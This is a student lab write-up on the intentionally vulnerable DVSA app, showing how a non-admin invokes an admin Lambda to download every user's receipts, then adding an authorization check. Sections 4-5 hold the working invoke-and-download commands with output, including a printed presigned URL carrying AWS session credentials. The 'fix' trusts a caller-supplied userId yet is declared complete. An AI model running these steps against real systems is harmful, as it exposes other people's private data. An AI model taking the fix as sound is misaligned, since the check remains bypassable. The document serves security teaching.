OWASP A3 | Severity: Critical | Status: Fixed ✓

Sensitive Data Exposure — Admin Receipt Disclosure

ICS-344 Information Security · KFUPM · DVSA Project

OWASP Category: A3:2017 – Sensitive Data Exposure

Affected Function: `DVSA-ADMIN-GET-RECEIPT`

Severity: Critical

Status:

✓ **Fixed and Verified**

---

1. Goal and Vulnerability Summary

The goal of this lesson is to demonstrate how a sensitive admin-only Lambda function (`DVSA-ADMIN-GET-RECEIPT`) was accessible to any authenticated user without any authorization check. The function was designed to package all receipt files from S3 into a ZIP archive and return a presigned download URL — an operation intended exclusively for administrators.

Because no identity or role check existed inside the function, any user who could invoke it directly via the AWS SDK or CLI could obtain a presigned URL that exposed the private receipts of every user in the system.

Impact: Complete exposure of all users' order receipt data. An attacker with any valid AWS session could download a ZIP archive containing the private receipt files of every customer who ever placed an order.

2. Why This Works / Root Cause

The `DVSA-ADMIN-GET-RECEIPT` Lambda function was designed as an admin utility that downloads all receipt files from S3 for a given date, packages them as a ZIP, and returns a presigned URL. The critical flaw is that `lambda_handler` begins processing immediately upon invocation with **no authorization check whatsoever**.

The vulnerable code skipped identity verification entirely:

```
# VULNERABLE — admin_get_receipts.py
def lambda_handler(event, context):
    client   = boto3.client('s3')     # ← No admin check before this!
    resource = boto3.resource('s3')
    y = event["year"]               # ← reads attacker-controlled input directly
    # Proceeds to download ALL receipts and return a presigned URL
```

Root cause: Missing authorization gate at the function entry point. The function trusted that only admins would invoke it, relying on security through obscurity rather than enforcement.

3. Environment and Setup

Component	Detail
Platform	AWS Lambda (Python 3.8)
Affected Function	`DVSA-ADMIN-GET-RECEIPT`
Storage	S3 receipts bucket (`dvsa-receipts-bucket-*`)
API Endpoint	`https://oxc78p6nli.execute-api.us-east-1.amazonaws.com/Stage/admin`
Attacker Account (User B)	Regular non-admin user
Victim Account (User C)	Order `15fd86f0-9f9c-419b-9fba-5360fa894d20`
Tools	AWS CLI, CloudShell, CloudWatch Logs

4. Reproduction Steps

Step 1 — Confirm User C has an order with a receipt

User C placed an order for *Super Mario 2* ($45). The receipt was generated and stored in the S3 receipts bucket at path `2026/04/24/`.

Step 2 — Invoke the admin receipt function as a regular user

Using AWS CLI in CloudShell, directly invoke `DVSA-ADMIN-GET-RECEIPT` with a date payload:

```
aws lambda invoke \
  --function-name DVSA-ADMIN-GET-RECEIPT \
  --payload '{"year":"2026","month":"04","day":"24"}' \
  --cli-binary-format raw-in-base64-out \
  /tmp/receipt_output.json && cat /tmp/receipt_output.json
```

The function responds with a presigned S3 URL — no admin check was performed.

Step 3 — Download the ZIP archive of all receipts

```
curl -s $(cat /tmp/receipt_output.json | python3 -c \
  "import sys,json; print(json.load(sys.stdin)['download_url'])") \
  -o /tmp/receipts.zip && unzip -l /tmp/receipts.zip
```

Step 4 — Read User C's private receipt

```
unzip -o /tmp/receipts.zip -d /tmp/receipts/ && \
  cat "/tmp/receipts/tmp/2026/04/24/15fd86f0-...-742afad11e2d.txt"
```

The receipt reveals User C's order details — obtained by a non-admin user with no authorization.

5. Evidence and Proof

Admin function returns presigned URL to non-admin user

```
~ $ aws lambda invoke \
>   --function-name DVSA-ADMIN-GET-RECEIPT \
>   --payload '{"year":"2026","month":"04","day":"24"}' \
>   --cli-binary-format raw-in-base64-out \
>   /tmp/receipt_output.json && cat /tmp/receipt_output.json
{
    "StatusCode": 200,
    "ExecutedVersion": "$LATEST"
}
{"status": "ok", "download_url": "https://dvsa-receipts-bucket-91520471636 5-us-east-1.s3.amazonaws.com/zip/2026-04-24-dvsa-order-receipts.zip?AWSAccessKeyId=ASIASKFTTW5GTF2YDN4J&Signature=Td%2FM%2BRB8tTS3JDQxBdZ1xUJnp9I%3D&x-amz-security-token=IQoJb3JpZ21uX2VjEHkaCXVzLWVhc3QtMSJH
ME4CIF6qdiFSXv8JuOe6IOW9XgCCqviYf0LwF2XOI9iLEWkIEAhDFk5nnG386gaN3Fa4U2ABwx1Uyis5JMIp6VTCqoxv8qN2BwMIQhAAGgw5MIyMQQ3MTYzNjUiDLcS0mwenN%2F1EIQCZirVA3EaKEcEI5R2IGCmIDO8iXlBVNBaEgNxBqdIwX%2BTa627hMEY2ZvWjcclkpRnAoJf5F3ilaUlVja66wd1bmkhoN%2BeU49Z9c%2Fhuj4WHGlWlxFWgHejFrIES79HYruosJF
oFFQN2BN2BN2F1GHLR4RN2F5VIZi7yUQqUNlJFWMjCGaXeSMOam%2F8KNQN2B4FwfwHbrB801CAZedHPkUGsphjx1sINojAbR9HGHZ7KvDAburemegTYsbhlU1Y1Y5N2B3HqUy%2FSF67IynrGTSxAtP1kbBai9myrV58POrRvtyVWmOzdDHNdPjIhtz8uO5U5Kt01N7uwevbzNvl0wTjxxnQXd5i29F%2BUw5n98LNP4vB0n0y1KA3AYyAxsnpe%2B%2F4ZLLMO3iyqpe5djqHEt
1CAR8u5G3pypFsTZ9OYj1EA8pJ1e%2B0DxGct0Hs6Zm8E%2Bc1Y5FnQW15ingmvVQLMcKmGmcLFhdqoahkMyOe2Co0xzDo0Ii1jp4R7DK14Q3zeprfAhqjJROHx1esL3Q5u8WiaSxEk55FcUeHuCeZfqesK9k6VOPmOnK3U10jf%2FMaewFjoxm7nhfNtcCDbzShtr6az0w8RccP0Jp0w4LLHahuJekdw2a%2BpUq5hbu6M6ZWePRxhaecMefYw09TYzwY6oQEHVrDb38F3ff9q
PgzsbWL%2FOMonunlhyOZWtg3lEeKCw4xIc5x71bEoZybtS0fOOTCxmVtWb7u1Wwp4rFkntIDmSJoa3bR9Jw7tSgwJPjQG3SMYLOOyjKM0tHRfnMptjaMF8bYcqR16QQhGZB1KV0275BD25Wn%2FrNdHXWEFURjSCY3HNGdwstIMLN0ngKSKdowRMjigfYDMiD2zwDcHPKeggA%3D%3D&Expires=1777743976"}~ $ curl -s $(cat /tmp/receipt_output.json | py
thon3 -c "import sys,json; print(json.load(sys.stdin)['download_url'])") -o /tmp/receipts.zip && echo "Downloaded!" && unzip -l /tmp/receipts.zip
Downloaded!
Archive:  /tmp/receipts.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
        0  05-02-2026 16:46   tmp/
        0  05-02-2026 16:46   tmp/2026/
        0  05-02-2026 16:46   tmp/2026/04/
        0  05-02-2026 16:46   tmp/2026/04/24/
      264  05-02-2026 16:46   tmp/2026/04/24/15fd86f0-9f9c-419b-9fba-5360fa894d20_e4c8a478-0091-7020-758c-742afad11e2d.txt
      259  05-02-2026 16:46   tmp/2026/04/24/90ae1117-ce9d-4786-a014-951b32761e87_04782418-4041-703b-4c8f-0364aa06148d.txt
      278  05-02-2026 16:46   tmp/2026/04/24/6749f7ab-8bfb-4703-8dc2-f327fd531283_44b88408-2041-70aa-d020-49f914f85e08.txt
---------                     -------
      801                     7 files
```

Figure 1: Invoking DVSA-ADMIN-GET-RECEIPT as User B (non-admin) returns a valid presigned S3 URL with HTTP 200 — no authorization check was performed.

ZIP archive contains receipts from all users

Figure 2: The downloaded ZIP contains receipt files for 3 users — not just the attacker's own data.

User C's private receipt fully exposed

```
~ $ unzip -o /tmp/receipts.zip -d /tmp/receipts/ && cat "/tmp/receipts/tmp/2026/04/24/15fd86f0-9f9c-419b-9fba-5360fa894d20_e4c8a478-0091-7020-758c-742afad11e2d.txt"
Archive:  /tmp/receipts.zip
   creating: /tmp/receipts/tmp/
   creating: /tmp/receipts/tmp/2026/
   creating: /tmp/receipts/tmp/2026/04/
   creating: /tmp/receipts/tmp/2026/04/24/
  extracting: /tmp/receipts/tmp/2026/04/24/15fd86f0-9f9c-419b-9fba-5360fa894d20_e4c8a478-0091-7020-758c-742afad11e2d.txt
  extracting: /tmp/receipts/tmp/2026/04/24/90ae1117-ce9d-4786-a014-951b32761e87_04782418-4041-703b-4c8f-0364aa06148d.txt
  extracting: /tmp/receipts/tmp/2026/04/24/6749f7ab-8bfb-4703-8dc2-f327fd531283_44b88408-2041-70aa-d020-49f914f85e08.txt

                Order: 17UbslwaDaor,

                To:
                    UserC,


                Items:
                               45             Super Mario 2 (1)


                Total: $45

            ~ $
```

Figure 3: Extracting and reading the receipt reveals User C's private order: UserC, Super Mario 2 (1), Total $45.

CloudWatch confirms admin function was invoked

Log events

Actions ▼ | Start tailing | Create metric filter

You can use the filter bar below to search for and match terms, phrases, or values in your log events. Learn more about filter patterns

Filter events - press enter to search | Clear | 1m | 30m | 1h | 12h | Custom | UTC timezone ▼ | Display ▼

Timestamp	Message
	No older events at this moment. *Retry*
2026-05-02T16:46:11.687Z	INIT_START Runtime Version: python:3.8.v130 Runtime Version ARN: arn:aws:lambda:us-east-1::runtime:0912bb8f09127d49fb9b826b39f8557d3a8b76883f239506849d15bc35b103cf
2026-05-02T16:46:12.008Z	START RequestId: 82a5b06b-dfdf-461b-8b53-dc784a137b63 Version: $LATEST
2026-05-02T16:46:17.040Z	END RequestId: 82a5b06b-dfdf-461b-8b53-dc784a137b63
2026-05-02T16:46:17.040Z	REPORT RequestId: 82a5b06b-dfdf-461b-8b53-dc784a137b63 Duration: 5032.03 ms Billed Duration: 5349 ms Memory Size: 128 MB Max Memory Used: 85 MB Init Duration: 316.69 ms
	No newer events at this moment. *Auto retry paused.* *Resume*

Figure 4: The log group /aws/lambda/DVSA-ADMIN-GET-RECEIPT shows a successful invocation at 2026-05-02T16:46 UTC — matching the exploit time.

Vulnerable code — no authorization check

admin_get_receipts.py

```python
20  def lambda_handler(event, context):
21      client = boto3.client('s3')
22      resource = boto3.resource('s3')
23      m = ""
24      d = ""
25      y = event["year"]
26      if "month" in event:
27          m = event["month"] + "/"
28          if "day" in event:
29              d = event["day"] + "/"
30
31      prefix = "{}/{}{}".format(y, m, d)
32      bucket = os.environ["RECEIPTS_BUCKET"]
33      download_dir(client, resource, prefix, '/tmp', bucket)
34      zip_file = "{}dvsa-order-receipts.zip".format(prefix.replace("/", "-"))
35
36      zf = zipfile.ZipFile("/tmp/" + zip_file, "w")
37      for dirname, subdirs, files in os.walk("/tmp"):
38          zf.write(dirname)
39          for filename in files:
40              if filename.endswith(".txt"):
41                  zf.write(os.path.join(dirname, filename))
42      zf.close()
43
44      client.upload_file("/tmp/" + zip_file, bucket, "zip/" + zip_file)
45      signed_link = client.generate_presigned_url('get_object', Params={'Bucket': bucket, 'Key': "zip/" + zip_file},
46                                                  ExpiresIn=3600)
47
48      res = {"status": "ok", "download_url": signed_link}
49      return res
```

Ln 1, Col 1 Spaces: 4 UTF-8 LF Python Lambda Layout: US

Figure 5: lambda_handler at line 20 proceeds directly to S3 operations with no isAdmin check.

6. Fix Strategy / Probable Mitigation

The fix requires adding an authorization gate at the entry point of `lambda_handler`:

- **Extract the requesting user's identity** from the event (`userId` field).
- **Look up the user in DynamoDB** using the users table.
- **Check the `isAdmin` attribute** — if not `True`, return 403 Forbidden immediately.
- Only if the caller is confirmed as admin should the function proceed to S3 operations.

This follows the principle of **least privilege** — the function should enforce its own access control rather than relying on the caller to self-identify as an admin.

7. Code / Config Changes

Vulnerable code (before)

```python
# admin_get_receipts.py — VULNERABLE
def lambda_handler(event, context):
    client   = boto3.client('s3')
    resource = boto3.resource('s3')
    y = event["year"]   # No authorization check — proceeds directly to S3
```

Fixed code (after)

```python
# admin_get_receipts.py — FIXED
def lambda_handler(event, context):
    # FIX: Verify admin identity before proceeding
    requesting_user_id = event.get("userId", "")
```

```
    if not requesting_user_id:
        return {"statusCode": 403, "body": json.dumps({"status": "err", "msg": "Forbidden"})}

    ddb = boto3.resource('dynamodb')
    user_table = ddb.Table(os.environ.get("usertable", ""))
    resp = user_table.get_item(Key={"userId": requesting_user_id})
    if not resp.get("Item", {}).get("isAdmin", False):
        return {"statusCode": 403, "body": json.dumps({"status": "err", "msg": "Forbidden: admins
only"})}

    # Original code continues only for verified admins
    client = boto3.client('s3')
    resource = boto3.resource('s3')
```

```
admin_get_receipts.py ×
admin_get_receipts.py
6   def download_dir(client, resource, dist, local='/tmp', bucket=os.environ["RECEIPTS_BUCKET"]):
8       for result in paginator.paginate(Bucket=bucket, Delimiter='/', Prefix=dist):
12          if result.get('Contents') is not None:
17      return


20  def lambda_handler(event, context):
21      # FIX: Verify admin identity before proceeding
22      requesting_user_id = event.get("userId", "")
23      if not requesting_user_id:
24          return {"statusCode": 403, "body": json.dumps({"status": "err", "msg": "Forbidden"})}
25
26      import boto3 as b3
27      ddb = b3.resource('dynamodb')
28      import os as _os
29      user_table = ddb.Table(_os.environ.get("usertable", ""))
30      resp = user_table.get_item(Key={"userId": requesting_user_id})
31      if not resp.get("Item", {}).get("isAdmin", False):
32          return {"statusCode": 403, "body": json.dumps({"status": "err", "msg": "Forbidden: admins only"})}
33      client = boto3.client('s3')
34      resource = boto3.resource('s3')
35      m = ""
36      d = ""
37      y = event["year"]
38      if "month" in event:
39          m = event["month"] + "/"
40          if "day" in event:
41              d = event["day"] + "/"
42
43      prefix = "{}/{}{}".format(y, m, d)
44      bucket = os.environ["RECEIPTS_BUCKET"]

Successfully updated the function DVSA-ADMIN-GET-RECEIPT.
```

Figure 6: Authorization check added at lines 21-32 with confirmation "Successfully updated the function DVSA-ADMIN-GET-RECEIPT".

8. Verification After Fix

After deploying the fix, the same invocation command now returns a 403 Forbidden response:

```
{"statusCode": 403, "body": "{\"status\": \"err\", \"msg\": \"Forbidden\"}"}
```

```
~ $ aws lambda invoke \
>   --function-name DVSA-ADMIN-GET-RECEIPT \
>   --payload '{"year":"2026","month":"04","day":"24"}' \
>   --cli-binary-format raw-in-base64-out \
>   /tmp/receipt_output2.json && cat /tmp/receipt_output2.json
{
    "StatusCode": 200,
    "ExecutedVersion": "$LATEST"
}
{"statusCode": 403, "body": "{\"status\": \"err\", \"msg\": \"Forbidden\"}"}~ $
```

Figure 7: The same lambda invoke command now returns 403 Forbidden — the attack is completely blocked.

9. Structured Operation and Security Analysis

Table A — Operation Analysis

Vulnerability	Intended Rule(s)	Artifacts Used	Normal Behavior	Exploit Behavior
Sensitive Data Exposure	Only verified admin users may invoke `DVSA-ADMIN-GET-RECEIPT`. Non-admin users must never obtain other users' receipts.	DVSA admin function design; `admin_get_receipts.py` source; S3 receipts bucket; CloudWatch invocation logs; AWS CLI response.	A legitimate admin with `isAdmin=True` in DynamoDB receives the presigned ZIP URL. Regular users should receive a 403 rejection.	Invoking as User B (non-admin) returned a valid presigned URL. Downloaded ZIP contained all users' receipts including User C's order (Super Mario 2, $45).

Table B — Deviation and Fix Analysis

Vulnerability	Why a Deviation	Deviation Class	Fix Applied (Where)	Post-Fix Verification
Sensitive Data Exposure	The function was an admin-only utility but had no enforcement. Any caller received all users' receipts, violating the intended authorization boundary.	Intentional misuse / security-relevant abuse	Authorization check added at `lambda_handler` entry in `admin_get_receipts.py`. Verifies `userId` against DynamoDB `isAdmin` attribute.	Invoking without a valid admin `userId` now returns 403 Forbidden. Presigned URL no longer returned to unauthorized callers.

10. Takeaway / Lessons Learned

- **Admin functions must enforce their own access control.** Relying on the caller to "know" they should only call this function if they are an admin is not security — it is obscurity.
- **Direct Lambda invocation bypasses API Gateway controls.** Anyone with `lambda:InvokeFunction` permission can call functions directly, skipping API auth entirely.
- **Sensitive data in S3 is only as secure as the code generating access to it.** A private bucket is irrelevant if the function generating presigned URLs has no access gate.
- **Least privilege applies to both IAM roles and function logic.** IAM controls what a function can do; function-level authorization controls who should trigger it. Both layers are necessary.

- **In serverless, every function is an independent entry point.** Each Lambda must independently enforce its own access control — there is no shared middleware as in monolithic applications.